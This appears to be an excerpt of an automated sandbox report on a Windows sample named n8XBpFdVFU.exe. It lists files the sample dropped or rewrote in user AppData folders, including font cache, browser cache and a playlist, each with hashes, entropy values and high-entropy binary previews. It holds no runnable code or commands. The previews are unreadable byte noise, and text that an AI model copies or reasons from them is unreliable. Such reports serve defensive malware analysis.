..%.kB.....%'....M6.(.SP..2...-...#f.k.K......d...........F..W.m.....`G..>....:.-.x.4.5...:.z..`.h....\I.+'>3.J...NZ...i.

C:\Users\user\AppData\Local\Microsoft\FontCache\4\CloudFonts\Aptos Narrow\30284701761.ttf

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	241378
Entropy (8bit):	7.259282462350232
Encrypted:	false
SSDEEP:	6144:TsCGtoKZaUqnFvY6P9icsglMEmNIasMOphDtPcwBR:IrsTFvY6FE0PmNBgJtPcI
MD5:	69BFB6677915A02847985EE8AD232BE3
SHA1:	4E3BB3786F5B52AD4170323B8C9F7DEBEDB16188
SHA-256:	86B3158BAE28CE88FE757468CDEE38E395E9758A063BB2462582B51135FCCF11
SHA-512:	212825607C39520492A84CEB28AB2F5E6ED0C1CAE71AF6A92E3A5581160318C7FAA14810EFD91F79B5C9F79BAC7D40846F532CF1989A44B4228C7D13976E5141
Malicious:	false
Preview:	......`...S...B.A=.+m..Do.19.XS}1...a)...!X .Cx...J....]Cz^0!..W.F.^...re.:;..r....g...sMx..-.M....\....-B]O......"Z..6.C....JM..H..u.AP.A$P....O\|..G...q^1..W..R`....W........-.b...2..5........{4.x.w...k.Dx....+:.n..R.Y......F]..8.3...E....W.....&..9...L........hK.5....5...Z....H.L...ci.sl.g...k.....&C.......R.<fo..Y.%.....i\\..T..R.^..w..G...N..AV.....\5.).H....Rh:.`Lo.......J......p...u.....3C.0..M..g}.+E..t.I..b.n..s.........t..b>\|\j..O,.."?..7QV.%......\|<.2..k..v.Ah.r0Q8.i-...........p......^...@..'....8...k...['...`x(...-...%...*.iy,p....x.I!..n...-R......+....C"X".......!].&....._.8wX.[....V.8.p.....9......u..i./.~..3.`..zOxfu..9X...D.........c....D..2\F....K.]?.@.+.Z\B.......J....s.C.<iC;....:.ww....%.79..8.....K.9F2<..H.\4.>.,...~#.....;..).j_n8...Su0O$h.ZR0...}..7r..s..e:.8.#.@.....)...,.:.....F.2.....>...^.....s...BTl.m.)...B....a.!.B<......+Y.%.s..C>..Y.lX..>..._..BQgCNq.)L..K.\|.T ....m.~Q>.!.f`.-..........g3\.T.1.v

C:\Users\user\AppData\Local\Microsoft\FontCache\4\CloudFonts\Aptos Narrow\31558910439.ttf

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	237738
Entropy (8bit):	7.237809840897587
Encrypted:	false
SSDEEP:	3072:MEr7X2EaRCePIu3n1fcbTF4Tb5hknA1nV8mfzMyKVLLntOvmxQmsAKemKy1EAsPj:MWr2EahF3Fca9ruyenIvmxQmsimdqjcK
MD5:	E35F912A462DEF253E9D2513DCE7030B
SHA1:	101425640D37806FE463BD43731B426C8F9AA813
SHA-256:	5D6A4074D09AB2C821D5039D008D9005AF6907BE643128254946DBB828238B4F
SHA-512:	6B193643628ED1E835D3F72BF38F980116B265DAF5901A74C304E0B56FEE1ABAFA3DC3887617055C62ECE2B5E169620E2C6EB63729112A454D5B939B848669E6
Malicious:	false
Preview:	.....49.-.F.......B.....LHq..$..K?M.....W...A..V...j...g.....-..6...\|.s......1. ....Jl.,..<.....l?...7..J.B.?..>....Q..h..4_:...6kgMO.....kV.A+...aat.S...-.../..N.......A1.._.{m...y\|..N0....x..n.b...C....z...\....A..u.@....A.m...3.i.S.......M7...\|....rL.....+.,.x......2.#..l.G>......V..i.-.X.C..c..P.k.U........E..."......8K.......S....n0.....5.....2..?......./.B.._.....).u.r[......l5...z..1.5!....w....4....%......m..%..L....3....1.....Bm.{.....@..~..0>.x..6...#..[.db..\.E$o.....6..T.h....8Bu..3<....;..._..~MU...Ar..L......Ds'V.f.?.........;.;.;.:...#...........XQ..I)[=......dY.F.z.F.,O..TE......Z.=.....F..:.l5./Z.fa@.D....0t....S..S[.}.m.)n...1.....f.y...6....Gd......X.zN..,S$....I....2>..=..p.x....x}SJT....,....x@...fD.D...G....h..]..!.6........\........,.....R.D....S.s6...K,..].C..n\NY.....L.U...e)....4N.!~x_...V=..o?.(..9.h3......7:>.o.E....%a...0.`...o.$...9}.--){.?..../@...U7.....H..)....>t.o..W-...Y..z.>.".....R.P.

C:\Users\user\AppData\Local\Microsoft\FontCache\4\CloudFonts\Aptos Narrow\37262344671.ttf

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	240706
Entropy (8bit):	7.2641098492063545
Encrypted:	false
SSDEEP:	6144:iwa8CRP/gtW7MGyGYefJHhxYqxu9XQ6yqU/ql:iwIV/LqnathxYz3yRe
MD5:	F6134793595F15C153CE42EE8102E5D8
SHA1:	45CC62429704B6C94DD8CCB3FBD4B8D7A858876F
SHA-256:	D15EAF2CAD60F8A10453E8EF55D18F0887D4B4D55DAF325A2808F802332863CE
SHA-512:	65E01606C69552036B0FD9629AE34CD7C5B2809718A5B14AD03E395AEE9CAC8FB0F6AAAA517F8294F4F4E25C767AF5AAE9C61DD50C508DD27FF0A48295EAC132
Malicious:	false
Preview:	.....[I..v....t.........Vd......A..,..G4....!>....].C.&kJ..3..SB....,..P.&.45.....z.U..%.g.....\.".^....s.#Y..R.i....... ...i..pJ/.<.d.Ip.@.(........=....n5.....R..L....e1.j..h....u.M.(.K...m"..$..5.zg..^.....[.7.4.^...8..t.X.D.....3\/.y...(.HR.s\.Va....z.B....g..V...!.v....b...........L;e.plcD....Y..@n..l._......8....vrV......k-..X....w.\|..ro...`d$.Y...6.%.Z...`.N..D..1..Jl..^.9..n...T..j...k./.,.&...4.A...w.[.......P.R.;.g^.=/....}..7.1.Z.C.\|.c.9!1...........Z..7f).....c...6q.7.uvIp ~.mc....`.}...x-.Hh...Y\.i.3....!0..........=`,H..".2R..\|K..:.4.U.b..H....s).k\;.X.....R..>.X..~3[{....!A.P:.&!a.....p..0..~.}p.{..nW.....:....3....7......eE`....(...zIR.1n...q.E.a......;..p...c.....nQe.........M...J.Pg....c8....1.P..Z..3-<...?."..a..y9.....}......s}........Q..+.Yg.B...QT.....V..H........6LeL...^.v...{...;.ik.u...:.Z..J@.Z...........Z..*.......?..v...4.$=...D...hUE.@..B....:...Q.I..?K...bA.W.I. ...Cb.v.+..WF....q.......&.N..

C:\Users\user\AppData\Local\Microsoft\FontCache\4\CloudFonts\Aptos\27160079615.ttf

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	238518
Entropy (8bit):	7.2332195871070555
Encrypted:	false
SSDEEP:	3072:xSlvjicz/roanDtHnK+NfOyA+LnGgIn3vxESlr3CEiQxvdbVpuyMiWA7:M1zzoaDtJnrnG/3ttiQxvdb/LIA7
MD5:	AB48C19CC32B5B0994B95BAF1802C0BC
SHA1:	F9D2E3034273D1C7CCE244C8D46D6DBECF09FE11
SHA-256:	1001322B5C016E40C5E636790269FE949D50DD98E12FEE9D02A16CD76D32E4D5
SHA-512:	5A781AB476107A7909B3EBC8C7B4C5F3B85B7E9E2FB8920B93C1EF9BF0E3F8FA50767B20F1A7EF1225A80F7FA2B1E803A4E789165A624DD85C61641C3C2EF77F
Malicious:	false
Preview:	.......?.Jq[........./..&.G.f.p2..L2.L.T.[.>..zi..\|.O.4.>.6..h.8.V'h..!.!.L.dS.0..1.4}........l`...k.......bT......%h.0!%oh3...7D(.9.D:../.....r..s.Qa.."j$_....S.Z...yP..g.aA..=5..GG.;.........C.). .0.0GW,B......4.S..3......8..s.ye.7I...k.:...j7!>h}.a..g...f....&..v"............n<O_.3&...,uDz5FeT....................:..)..."<.)...v....i..h-E....%...=.;.=..:.;&..?~.L.^...1....:,c..BV..j..4..n....K...,..r..6..........:....I.~G...&F.n........z_.....jb}.Lb9...m..c..B+.{'.[...F.`.._9...._.<C..%...x..:..Om\|0...9...!.yN.......(B.s.3... h@.i.....S...p\..T....^...\.......3.X.....N~.9....\|....O+[.l...kS...=iRm.A.w..k.Lf.7...O.N%....k...n(..I....\|.3&/>..qR.....%.hs...).'...K.52l...zxM)6t....X..(.d7.,..:j.=i.U...)j.!..c.....#...s.:.....~.0uJ...7.1.S.j.B....L.Z...cd._.V.I.....de.1.00.y..,..~w.....il..5..Z...X....u.4?.i...UW(...td........wv.#t...jl.O^...n.k.@..D....p.b..s.Q....N..S}.p.^.q.m...cJ....\u/.p<....s.P[..qv}.Q....<...E].."{.j.B.3.

C:\Users\user\AppData\Local\Microsoft\FontCache\4\CloudFonts\Aptos\28315153308.ttf

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	241282
Entropy (8bit):	7.261284471045345
Encrypted:	false
SSDEEP:	6144:MNDIU644rHjTvxd/jAbaPH4PYonentTIGe+Vi01:MNz4jjMqYP1emMB
MD5:	58B3ED76BC3CEDEDDB630AA85C95116C
SHA1:	BB626B6E1C86873316945EFB2CB6033CCB2B02B9
SHA-256:	2A9607EA99CDAA761C681E8D30F9064B76367784867D6E8C2F8EC557F80C1B85
SHA-512:	DE005E258791885B56F19B236DA4970CEAABA202193B0E94AEEADAA77A135CF2A49658B5211EFCD1B89E3F4E656F4516426F0A98EEBE2FC24F6296AAF8906C43
Malicious:	false
Preview:	......e....mc.....Qj>....T.v...x.m......s......%+.>.".<......M...h..8a83...[..9..:....2J...x+Q]7$..X.-.../.....JV..H.3....R....<@.W..%......O...f.E.....T..k...LD..D..>....G..]...G.x..........4..._..4.....h;w.].I.@!..JL'\......S.`.......f./....u......z...wiVA.7.}...T2.L."E.Lp./.N c..../...x.QRQ.._5...p.2.k.r+,.s..N..k....=.<S..\.C'..u..S.....g.\.s..6.}"A..w.t.EX.h.....wa...$...Q.&j.....vW\.v.S.>;.L............Rkf...T..!F..1..v.\..\|m.[..68.r.....N dd."....[~...w.....K..+.H.rD.$.`....t.....c..Z...1..O...3yk.......L..K.....Q :.3-...N,RX.C...e<....x`..\.qMq...X..././...C!>.!.GuH..Y_..f..` ...R..5..R.~.NM... .aZ....16.H.l.s..4h...a...4. .\|zuZ......h.y..E.A).9}...kG.>.w...\.a.....Yn..X#.$..6.H.QP.I.....]...V.lGs..6.Y.<8Y.Y#.J.$.......{8.[3.>...>.pl.3<..s..z......].-.d.=M.....@....R.,...Z.....U....dXu.....S.[!...jy...~..O&.r....N....}!...q.dK.pI......c...$.f..b....U.p....%..M.hb.V...<..\|H....*.4\|......I(....5....[j..~.$..?DX....8..

C:\Users\user\AppData\Local\Microsoft\FontCache\4\CloudFonts\Aptos\29939506207.ttf

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	237946
Entropy (8bit):	7.233650523987066
Encrypted:	false
SSDEEP:	3072:PCco61KVEEzFuCzHJQ9FxY2U5HKnVmscOdmlT1IafDBOcG8exukIO2Nppdj+cdU6:Pg6AxFRsTY2xrMbRPaQOa/dKF2A6
MD5:	93B63C73D5D5CC68DAD1DE5353758530
SHA1:	DEC66EE39BE7F48D6C623E5B04FBB9A76FBBE9FF
SHA-256:	5023B5D6DECE05662B0C0FF79AE86B1D319BFE80C527B0266FA64C1CBB123448
SHA-512:	B594F30536736E2E03B693F5B8444229E8DCB2ABD3EB167426C514B2D07B762CFDBD137465C5ECC091F7B6EE25D8CF002F5598CC84AA7704A52985E77D6BD2BD
Malicious:	false
Preview:	......`.v..1.<M"...W.!.....T.<.(l.e0;t.b..v2b..P.iz.W."R..h..9>.o.>..qfw.......4~....f....:..E....p.!!@w.J..1...`y;...UC.].W.L.;.a..Q.a....}.T=...>.9..r(^z.=g.V.'....i.-.. .U7e......Z5..=.t^.......Z...[a<.C.#+q....O},M.pg[.`...'.....G..%.....v'ZkA..g...w`.y.n.......{..]..Z..MBd]..{01..2.9C-.l.S..............c.{...x.....".o=.y...On..Z.. ...L......S.L...T\|.. .@[.1.b\.....?..@Q...7S...#+..:... .db..;..>....v;2..4Y.....H..k..G.J..o.0:=)..bk..X.#....V...X....N.$.A.9..y..s.t..!U...O...0hb....\|..I...s..g.c.$..H..R"..%....9F.n...F..H.m@......\|....R.....m.w.!......\|`0.n..F.J..hp.......k..m.=.L'..8e.,....w;ocb6.3-.?..g..F.t....DE.N......7...>..*j&a..z..FSl..Mk....2Y..S.. X<..~...~"}~......;tdZ...O.N.....a..KjX..-..K.'.R../......L\T.-..dB..d...{..Jn...x....ZF.M..B\|..[.m.t.H...S.RT..z1.x..1.P..uz.i......}..%s'.].ed.;....q.....k.....d..]...^....9.$s.x-....j`....@5....%.Y.!j. .. nM..W.u0...'..7&.^)$..f...._!..F...g.n-......c.J\|."....u1Z.t..bN.B.

C:\Users\user\AppData\Local\Microsoft\FontCache\4\CloudFonts\Aptos\31169036496.ttf

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	240470
Entropy (8bit):	7.265233088547205
Encrypted:	false
SSDEEP:	6144:PjDluS6iS8eGqB4FqJ23cMpgUShEMwKc9k5lhLuww1DB5w:bcBiS8cBVMpnShTwKccO8
MD5:	59876BEA122E6950D84D7FC076C1726E
SHA1:	C293B4EC2FEACD1255E1F7C4017D3081922D1C22
SHA-256:	CE019BB456A843E0CC679D269296D3E58E923822F19BA22D7C70F61F463A6DD9
SHA-512:	D88CD1B5FF92AB7D2673D23C5264C23A22DB6319EF4F02808ADE28277718FF754E60285273FE71680036C3031BF4578D45A90C984A29A23FF11B1BE2216A011A
Malicious:	false
Preview:	.........~....^o`Y..ap...nD..YYp.wH...g.l...9N.........^..:..........$..O.b....z....s-......D&.f.N.H....;.l......A%..N.Q]........e.U.R...NZ..F^.\|i....>......B..s..l..t........U.B..@O...\..2 ..1.%.....j.Tl........R.c.......F.[q..7t.\|.A..0J,/x:.~...`...w.f..2....M.k.....~..->=3h.r[.O.... b.%.?.`Z....u...z.PCS.'..R..V..c.zh../..?#.%.+Ed....7.w......r.,K..>=.'#..d....."..`...h..A..5.^'.?....OC.y...5.Q.1....Kx).....D.\|...."...`Xgve^.....x...1.]Nd...r\..rz...=.Y..F..#q\....^.....i...M1%K..r...;U...)_..D.T^...{.....@7`.I!.Q\|d.0#........M..tjx.D....H>........vS.....Q...r{...l..y.2wQ... ....<.2.~...S..N...I.Z........7",.n....X.........p....S[Y.c.z".._...x.%.m.0....`.".e...B[..\|).~.&K.R ..aCgN.`T......k....B9..c...R.r).=.'.'`TH8a..T6.K......N...;l.d.....3i:.F.....M.... .......4f.;.f.o.VR.6NN.OJS(..9\..K.%.s.Z..U..G..j).....^.,.*.c...{....G...\...$.../q.4Mf..gA..%.C9..&..%c.lE....e......].....].....f8m..P.....N.R=!.<}{.;{ADP.F.vxD.v....

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\CacheStorage\edb.chk

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.977917198964352
Encrypted:	false
SSDEEP:	192:8/x7i9SeynIfZN413IrgN15Szu2DZtH/R8js0fJvGbML9jr1j:qeycN4SgD5SzbnZAXEO1r1
MD5:	F563C2E422B358A42D1ACA1780DD7910
SHA1:	66150E53FCA18E271888BD421EE6A476C3019D76
SHA-256:	C2E9C662A652A66643B508FAC02259A92B5E4EF8EA975444E011C0E19BDE5C82
SHA-512:	402753AAC433A15452264D4C0D3C768C2AA663F275A5DF40B08008B125999D671D3627E72943B15F159B01C552EACE8AD0EB300F3C987FFFD7B8D8DB2C77F1A5
Malicious:	false
Preview:	A......(!!_]..i..Wp.;...!..89.Y.....L^=....S...7....s..@...b..u.g{@..N"t!d....!fWu..\....}...`E.\..Pe)..n...Sl.....$l..\Bs...N....I.5<VPw....].f.y.v..3...V*^.....m..@......]....O..H.OT....[.V.+..+FYB....@....X..>..f.r.....O..).Vg.C.%.P3.%?F.h.r...].4.>..i.L....p.j.CJ.l..~Y.....I~u.....CS.O.....I..ie.F4'6k/WK........Gl......C.-w...53KO..y...b._]\.>.....{}v.>..<...Q.../...].z.{`...M............!..@?8............;&....Q.g....Lw..F...9b...N....:.Zb.M.....!.Q<..9...P.eU.....C..u.g.'..\.jK'..3.....%Q..'...c...8I`Hw........N:S.).....$}.....T\B..q.r....F.KCnh.@.7..1&."..M...$.."......B K.}..L{Y..C.....&...ed.. 6...b2'...-...Ww.SB.k.T.s.Za...0c......S.B.}y.g..-W3O...P:I.uR.9.V."...A.Ko6A.6...z../.k.F.J..s..+..j.?E...Ql.:.4...0......s.......1.y-..uI....^a..N..D....8.W..@..B..K.".G...6.1......j.. khI.(..@;..}$'..D....>....<;J2}.F.c.(..C.mU.xB.k@.=.3@.2!.........JT(..8".B.D?_F).....s...E0.ff.'.....M..av.c...i..nt+.s.....H1X.g../G...)fw..K..g.%..w.Ogx(4..

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\CacheStorage\edb.log

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	4.009520516519812
Encrypted:	false
SSDEEP:	3072:lxvVHfNwkd0YWMeA8wC9U9KV8OoscFAkVA9kLmcZKvr+IGsSgozHwTdK8NOT7VRQ:fV1wchLC4JokVmqmpaIGGkHaBN
MD5:	ECD6B22375B3F6B7A1A47E8879E5B9A8
SHA1:	8845948C1C456A51232FE71AC780A78B5751E090
SHA-256:	EE71FFA6DC16669B38A0FCC33C8C7D5AE850E35C5B57C7A04C5A0C5F829D8773
SHA-512:	F12492BA37F1C5D43FEBABE3A8242B17A8E6A8EC4A904102ABDF7F9FE57A3A54F0E2205DB3DE30A690ED1C8776EC08D581FC9A8D4022FF5B2CB507DE06D7862C
Malicious:	false
Preview:	....j...<...P^.y...C.).l.a..f)EQ..E..qikyh..$n.I.v..O`..#.h..._.L..bX3.....JAtX...[p.N>61..M..Y.0....l.+zA.._.Q.....c.yJ].3t.H..$H...5..i.3+.X.w..X.z....b.....DZ..UL%...KNF-i.0`....I>........H1...lD.vTL..5...>_........]..%..Jq\|.O.c..L......\.&O..C.@"...1.>=...0...$.6...z.f.ez....kG@..ILg.#....v.[..R....\_#..2.@Q.MY.[....k..z%.Fg?....b..h."v.)..d.....i..w.Ts.p.G...s.5..4.I.V..C7....Lz..2..`H.K.t...Ajh..Q..k....~...N.g..t..-t..F...-.u...2....Q'W.4[wg.)......CU..;D...G.H.Bd6.B......0..>o.oRR....x$..g....?..!.N...J^..e.v..<..D..^M.(.!.%.qI.q.o....+/.LP...!....t.'..?!..{.....s.....'.... )..C+.C'.B......(K....6.\|....M..EMq..Up.+.o.'...V\|...i.3.A.....uF..Y..v.e...M.......pp.2D...LW..)....w....4K....y.....`=).<.....lP[.xf..<...@..c... ...=.-.....Z,..V.<...<.....-....[v\....kT%5..%.1y......=..H...EH......;.-JU._ R..:........,-.~_.a...[..]...a6._<..e...5.a.as`...0...)d(.... .Ed........P........A!.'.......HT..[.w....vM.......m.1.lC....$!.@fox.....n.no..g.

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\CacheStorage\edbres00001.jrs

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.2078352311600327
Encrypted:	false
SSDEEP:	3072:iwdQi1y08XlI5iuesg9NZV9et0BETZg6FmgAmtLZKPh88KzBAOg7m95rJID6:iwx1y08l0iXse3fulg6bfLZKZTKzxaG
MD5:	75D42D4431F206507216C07BFB909BBB
SHA1:	865D456C9BB74898861F214882031B92BA2AFA72
SHA-256:	D1DD249C5ECEE404F30705F777FA6C741023D578790CB98FF8B30E4D6165C4AD
SHA-512:	7410AE95FA3FD9A5B58359542C62B284F4CE4744E54F0969FFA5513340532698B0A1C282FCCDB6A14BFCC29D6853F12EE1C553CADD1B8228575C3B40957E2E53
Malicious:	false
Preview:	......'.{..f....h..D..j\...b.a......NM.W%...F.u.ADZ..^.......r.5...&.....r.f...]`..py.......$.v.'.g..#..Q....FV..7k..8..!..z...I.M....U.Y.A...9..a.q7y./XQ.u.........2.^.U.^.nAa<.g...-...R...2...[x. ..z<h!.-.`..)^.....R.......a...K{.#....I8\.jo.c$' .7I.]y.....H...H.,.i.......6..._.x.T.H.B.!......V_.=.. ....e......0H.>.6...,f.tw.q..T...z.SU...A..Sn.r...~.A.......9i&.F.....?.D..J.(.I.o]....PA..<.~8k%..}.I.....xeZX.......Y..#.0...x...P..u.8...0y..>6wL.a..w..v.3...\p..I!......n.A..z... "._..%.r..[l.....D.L...G.....5.....E.....Bz......0..lM......F_.........P...U....1obu.f.C....r......el...%..Q5R.Bl~...xBAY+.s.B..%.......w...sV..w....."..I.:.{J......b'$<5]sUM.4...{..Z.uGQ....Y.%>...<............H..4. ...8].,..63...=....E......b".#..ly..u"w.`.......4....l..\|.[\..H..C.9p.Z.J+.oV..4'b..L.!nmF.+.x.x3f...{..O./..]......)j....2.U.g.v...k..i.}..;.m.kdan/X..8......_<..p<..JU.N.....\L+/]C.MK8.{j..0.o.;.......].WL. ..c.oT.Iu...A{R&X.7S6.`z....+....

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\CacheStorage\edbres00002.jrs

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.208000744395603
Encrypted:	false
SSDEEP:	3072:QD/YTCxRYVY8uFaOllu3BhIGl5ZLaubsK92Gup6iL5yvWRmW:o/YTC/QluFaV6E7+G92GupvFP
MD5:	BAD3803830EBACB44A63097B83867F26
SHA1:	AF131CE68DB19E849C112ADD9B9AEF9BF6A6B8DC
SHA-256:	37235DCFF514DBDD04B3DF98EAF71E31668AC4A8CBB2976374A77DF44D71D0E4
SHA-512:	549BFE6A08C5442BD9A853817A5DD0A8BEDDCFBCAC3E0534EBDBEF17005EC08B6ED788EB399FDD2A69B759A1C8F949C58DB6BAFCB744BC1C5747046BBC9AF14D
Malicious:	false
Preview:	...........s.+].".I)g.,.OW...,....V.&z...._-....c<.W....z..#..(s[.#..y...................V.RIb.o`A.Y..^.H .k...@".M..U..$cp.J..._8D...fU...B.\|prF.E#aC.i.....Z,.%...(.%...#4R.a`......P.0.... JS...w..v..v.:........(i..h.(Z....+..6.R...[....y!.......;;i8<.[..^..)...2u\|....}.{w.6.....[.Le.9..6...(..t.........Y...._._hMFk........z.H.d..C......:.......0..bsp.....F..b..G.'.zn@...S..j.`.......[H..y6e.Y.F....v.;H..O..gwue.....d....e..M..nK.5..zU&..A......jw.i..zea.....r.....$..y..w......N..k.~......6..#G..........2.^Pj.....R......D..Z..kt.9...G.5.'D....&.`ep..._...s..L^..."k.^....u...D....i...Y.w./.C........m......ml.....f...Y..g~.{.......F>"...8..aE...%w..AV.HZf..g.....`9.<L...}.%O:..Sp..`.%....v....9...e..RI.5.Y....\..a6..d...F.....?)I..3c.J6k....t.C..R.C/...x....;...aNwax.W%&..u.2.V)\...F.lPp.t./.b.u.........J&.:..'..XHJ(:])*.^..J.....p.sl/..Cf...`f.%G...[-V&mn3.........u....?.sZ.....z..`.>... .....[.0.P....... %..i....m.b.h...

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\CacheStorage\edbtmp.log

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.2081119312189488
Encrypted:	false
SSDEEP:	6144:SEJDghnPuKls0fv0ZK/FFStkewKCIyqL5Uu:FDKu0fvxTCkeZVyqZ
MD5:	262D1FA02BE7194184F228FB9126BAC1
SHA1:	8A7BF02E236176C45CF2EF41770A914371B1196C
SHA-256:	7772942637C34E445311E415A917736FD888DE1CEFDDC64EC4CEDCA79BA73249
SHA-512:	84820335B474DB88B4F18A5D7FE58BD47802AA9B0EB2C81BB6B2646D0A82107D25AB2531B349A4AA3C2342CDB4277CA0197959B74F833C70357CD7C6139EE09C
Malicious:	false
Preview:	.....4Rza4..,.4<D].h+...\|.zO.H...M...?.'...9U.0.[.w..=.......Ma. ....#}..J.iI~..~.b..b.b.'.s....%.U.c..>..}.......y.M...G.v(..'4.n)..@j...VwX.Ij...,+.f.3....rRLm.o.6k}>.D.J...y)..{E.mt..N.L&.9}...2.d.[........f+%S8..`....+......c+.9.e.g...@}xT...>.5/.uZ....<!.....j%%Z....<.t4.5}n.Q2I....+r{5.s...C...K...4...t{...DX....o..o.>.+#...!aB...+.Hk.p.4.@.f.(..z=yg...sn.Sn=......,.......?%...8F...#...s..F....Ph.C..8..u......nsQ..G..Pj..-z0K@k.,. ...`:(.'u...~.Q.-..........J2ii.8..c..$...$..<\G..-.4...B\|.U..".....j`..k.\..#K..........sLJ>....... K..k.Q&%i.8..U..}o.Q..7..F$$.X,..Vs....c...y1.e@={...\.2.(..l...C...'.o..7.b.......9r/j....s.zo....FV"....o.V....H..M..>.y....c.@..'.7.k..R..;.b..l.;A..3%/e.....s....M.A;O..7A........h4.\.........o..dhL0X....C..V.....K..{..oF...._.\....h.f.+..u.X.\..M.U0.$.]....(0..L..f...G.4!...f..X..k..6i....8..{...T.f.....E.{c..d..$9....7.{...F..vQ...B.d.I...\A....4=.24.>.8X.V...`2V.0S.\......\.^'.N$....v)

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\IECompatData\iecompatdata.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	3384
Entropy (8bit):	7.95349344367677
Encrypted:	false
SSDEEP:	96:1rpDnZ3CSCDmDbFxKmV6LBaYrO8K3Hos7ErK3SHsj4:1jhDbDkaYrfiINK3gsj4
MD5:	325DCCE5F5C1D2FDBE4DA3D236406E9F
SHA1:	D535C8A867B2EADCAA7B1CA3A08ADA91CCDC7B46
SHA-256:	D63966AC87872C300A8E4DE53B98C7A6F22DEE207490250EDE6350AA1C1852D7
SHA-512:	2A89AD70BF42B8984599BCF4448726FBCB53D307D4847D764E8BC068ED96627C1C0623D3BBD68F0D7E5E8D18207804A9467289B11665F86912665775D7FC57ED
Malicious:	false
Preview:	<?xml.r,H..PF....J='.....e..D.\|......s..........!..Z.h....>.7T...Z....F...`.<......WT.. ...=w.....P..\V#.J,n..n.K<.4.....E...Q.[...l..h..$`......G.<!...h%.\.K..D......u.\|......_..Sa..9.....y.t..T.q918=]>.q\.hc&.o.....5z{..Q....K .T.sS..^.u.0..J....j..P.rM.%)..X'].t..at.....?.o...Hc..6......X.@."....g5:.....d.(....]...d`....#... ..}..J.A.....v.1...9^n8.YK..T..N..?....>q...oY.#...!..d.....u.`.....p+D.[.;.E.......-.P..@..Q.....T..@.....9..[ou...A.x{...."....]e....Asyz0.B....#..(..].;.'.E......\I'.h....p..l5."o.C..w.w`.#.!..60...n+7._..)...g....c....k..p.....j.FWi...._...]\.......Q.Nn...5_.R.m...[a..Y.........05...\|xv.-...kw.p@.=.<.^....=.y]._.1.-0R...J.1?..z..,...(.W<"...A.k?...oG...=...+)...O...0.....=.[..N....,C.`...v....x1...MS.. 3v.."........Z.%2...^.O....KtM+Zm2..CgF.....hx.".....`.Nq.K!.2Xa@E..!C...E..B..v...p...HObg......@.C...v....x.x]..).....R..?G*.....Z.....$p=..H....w....R.].....\....)7q.SK....i...E..x..

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\ie4uinit-UserConfig.log

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	Unicode text, UTF-16, little-endian text, with very long lines (869), with no line terminators
Category:	dropped
Size (bytes):	1740
Entropy (8bit):	7.8993475017722625
Encrypted:	false
SSDEEP:	48:Ud32QgLP/KexJBJAhgyEHY885fpGhe0krGyWq2D:Ud32FFJBJAkDipQkqyC
MD5:	1C98AFABD3CE3D915006CA0C8B6FD27B
SHA1:	BF53E7A41AE8627C51EB031E2804BCE4295C76B5
SHA-256:	D6B5043C908140C00CC22C0B3DC7205509E9DE64D068FFEDE595D671A8D81CAE
SHA-512:	4406BF17A31E70391579A433F60B795C3EA5AF406F23C58F46FC7486FD59525D6CCD031A07785ABC1E8E7B1E5521095A6F767D017D5DAAEE4BA499BFA57B46D8
Malicious:	false
Preview:	..1.0F...x4}.G..........6.........+.....z.b..Gl...9$.a..G.......{...m1./.r.Y.......j.."........=.Qm6...e.c.."_~...........D.l.....=........j..:.d$Q...d.[l`.]\|.?..6.0a.v...B....iq..-..N...VeJ7='z.Va.g.C.E.5.v.SB..A..V..q...,.<$6..\|...y....b.b...[....B..4K.4)N.#..YWk.......\|...6......f.m@..:.h.m.(...{o._...n.Av+.......-...\|....hM.E\o.s.^....U\..W..c..&....l.X7.O.9E...........(....%.s....Gvg@..j...^...:K.G.Oz....L..T.....b.5.k.%I..#.b;C.Q..K....Aa..J!..?...O...T..28..)8.....eV...cJ...maA3.p..L6M...Z.X...Zb.../d........Rm[..y...1m.E8.(q{5.A., @..De.&f.`../.\|...3......!......_U9-.Yk....G. .].6.....I.g..n....T......r....R..u.T6!..fXE.....?....N.....0..8..".+.F7-.S...)........0..\|...w....[\.'..p..n..Z.......wP....m.Z..j.. 6.+..Z.....x\r.&e)....k..`.....:S........;A.......f..>h....3.p.b..... _$...$..&;.oh...eH...c....Y!......^......x..7.....:..gv..&..DM.1};..h..;......n.5...."..'..+.U.5...&..cW..~C..Ec.A]X..9.^.Hi....[de..3{.

C:\Users\user\AppData\Local\Microsoft\Media Player\Sync Playlists\en-CH\002370B1\01_Music_auto_rated_at_5_stars.wpl

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1378
Entropy (8bit):	7.841720327853951
Encrypted:	false
